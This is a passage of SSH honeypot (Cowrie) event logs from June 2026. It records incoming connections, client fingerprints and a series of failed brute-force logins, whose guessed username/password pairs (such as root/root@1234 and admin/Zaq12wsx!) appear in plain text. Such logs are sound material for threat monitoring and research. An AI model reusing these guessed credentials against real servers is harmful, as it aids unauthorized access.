1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:34.805445Z","src_ip":"46.29.234.126","session":"1ee36484458d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:34.836687Z","src_ip":"192.109.200.78","session":"564e1463a156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:35.293981Z","src_ip":"46.29.234.126","session":"1ee36484458d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:36.409413Z","src_ip":"46.29.234.126","session":"1ee36484458d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52690,"dst_ip":"10.17.0.5","dst_port":22,"session":"477db1e3b83d","protocol":"ssh","message":"New connection: 192.109.200.78:52690 (10.17.0.5:22) [session: 477db1e3b83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:36.606571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:36.609369Z","src_ip":"192.109.200.78","session":"477db1e3b83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:36.692636Z","src_ip":"192.109.200.78","session":"477db1e3b83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:36.937673Z","src_ip":"192.109.200.78","session":"477db1e3b83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:38.020983Z","src_ip":"192.109.200.78","session":"477db1e3b83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":55184,"dst_ip":"159.203.135.109","dst_port":22,"session":"2af0112320e8","protocol":"ssh","message":"New connection: 147.45.211.215:55184 (159.203.135.109:22) [session: 2af0112320e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:38.589065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:38.593428Z","src_ip":"147.45.211.215","session":"2af0112320e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:38.771000Z","src_ip":"147.45.211.215","session":"2af0112320e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"castor","message":"login attempt [root/castor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:39.311910Z","src_ip":"147.45.211.215","session":"2af0112320e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52702,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e1d64949d5c","protocol":"ssh","message":"New connection: 192.109.200.78:52702 (10.17.0.5:22) [session: 6e1d64949d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:40.123640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:40.214573Z","src_ip":"192.109.200.78","session":"6e1d64949d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:40.217156Z","src_ip":"192.109.200.78","session":"6e1d64949d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:40.524269Z","src_ip":"147.45.211.215","session":"2af0112320e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:40.549302Z","src_ip":"192.109.200.78","session":"6e1d64949d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:41.632404Z","src_ip":"192.109.200.78","session":"6e1d64949d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33400,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6318159c34d","protocol":"ssh","message":"New connection: 192.109.200.78:33400 (10.17.0.5:22) [session: d6318159c34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:43.628609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:43.632061Z","src_ip":"192.109.200.78","session":"d6318159c34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:43.713216Z","src_ip":"192.109.200.78","session":"d6318159c34d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:43.957722Z","src_ip":"192.109.200.78","session":"d6318159c34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:45.094280Z","src_ip":"192.109.200.78","session":"d6318159c34d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33416,"dst_ip":"10.17.0.5","dst_port":22,"session":"46fa6df33e8e","protocol":"ssh","message":"New connection: 192.109.200.78:33416 (10.17.0.5:22) [session: 46fa6df33e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:47.041249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:47.046086Z","src_ip":"192.109.200.78","session":"46fa6df33e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:47.127337Z","src_ip":"192.109.200.78","session":"46fa6df33e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:47.496427Z","src_ip":"192.109.200.78","session":"46fa6df33e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:48.581088Z","src_ip":"192.109.200.78","session":"46fa6df33e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33432,"dst_ip":"10.17.0.5","dst_port":22,"session":"3967d9a900c7","protocol":"ssh","message":"New connection: 192.109.200.78:33432 (10.17.0.5:22) [session: 3967d9a900c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:50.657482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:50.661618Z","src_ip":"192.109.200.78","session":"3967d9a900c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:50.742897Z","src_ip":"192.109.200.78","session":"3967d9a900c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:50.989152Z","src_ip":"192.109.200.78","session":"3967d9a900c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:52.072232Z","src_ip":"192.109.200.78","session":"3967d9a900c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44782,"dst_ip":"10.17.0.5","dst_port":22,"session":"685488e5867e","protocol":"ssh","message":"New connection: 192.109.200.78:44782 (10.17.0.5:22) [session: 685488e5867e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:54.021989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:54.026742Z","src_ip":"192.109.200.78","session":"685488e5867e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:54.111227Z","src_ip":"192.109.200.78","session":"685488e5867e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:54.375036Z","src_ip":"192.109.200.78","session":"685488e5867e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:55.458761Z","src_ip":"192.109.200.78","session":"685488e5867e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":55180,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dedac3b5ccb","protocol":"ssh","message":"New connection: 92.207.4.157:55180 (159.203.135.109:22) [session: 8dedac3b5ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:55.862710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:55.866460Z","src_ip":"92.207.4.157","session":"8dedac3b5ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:55.963901Z","src_ip":"92.207.4.157","session":"8dedac3b5ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123456","message":"login attempt [ubuntu/Ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:56.382470Z","src_ip":"92.207.4.157","session":"8dedac3b5ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44784,"dst_ip":"10.17.0.5","dst_port":22,"session":"b14c0ddaa55b","protocol":"ssh","message":"New connection: 192.109.200.78:44784 (10.17.0.5:22) [session: b14c0ddaa55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:57.463468Z"}
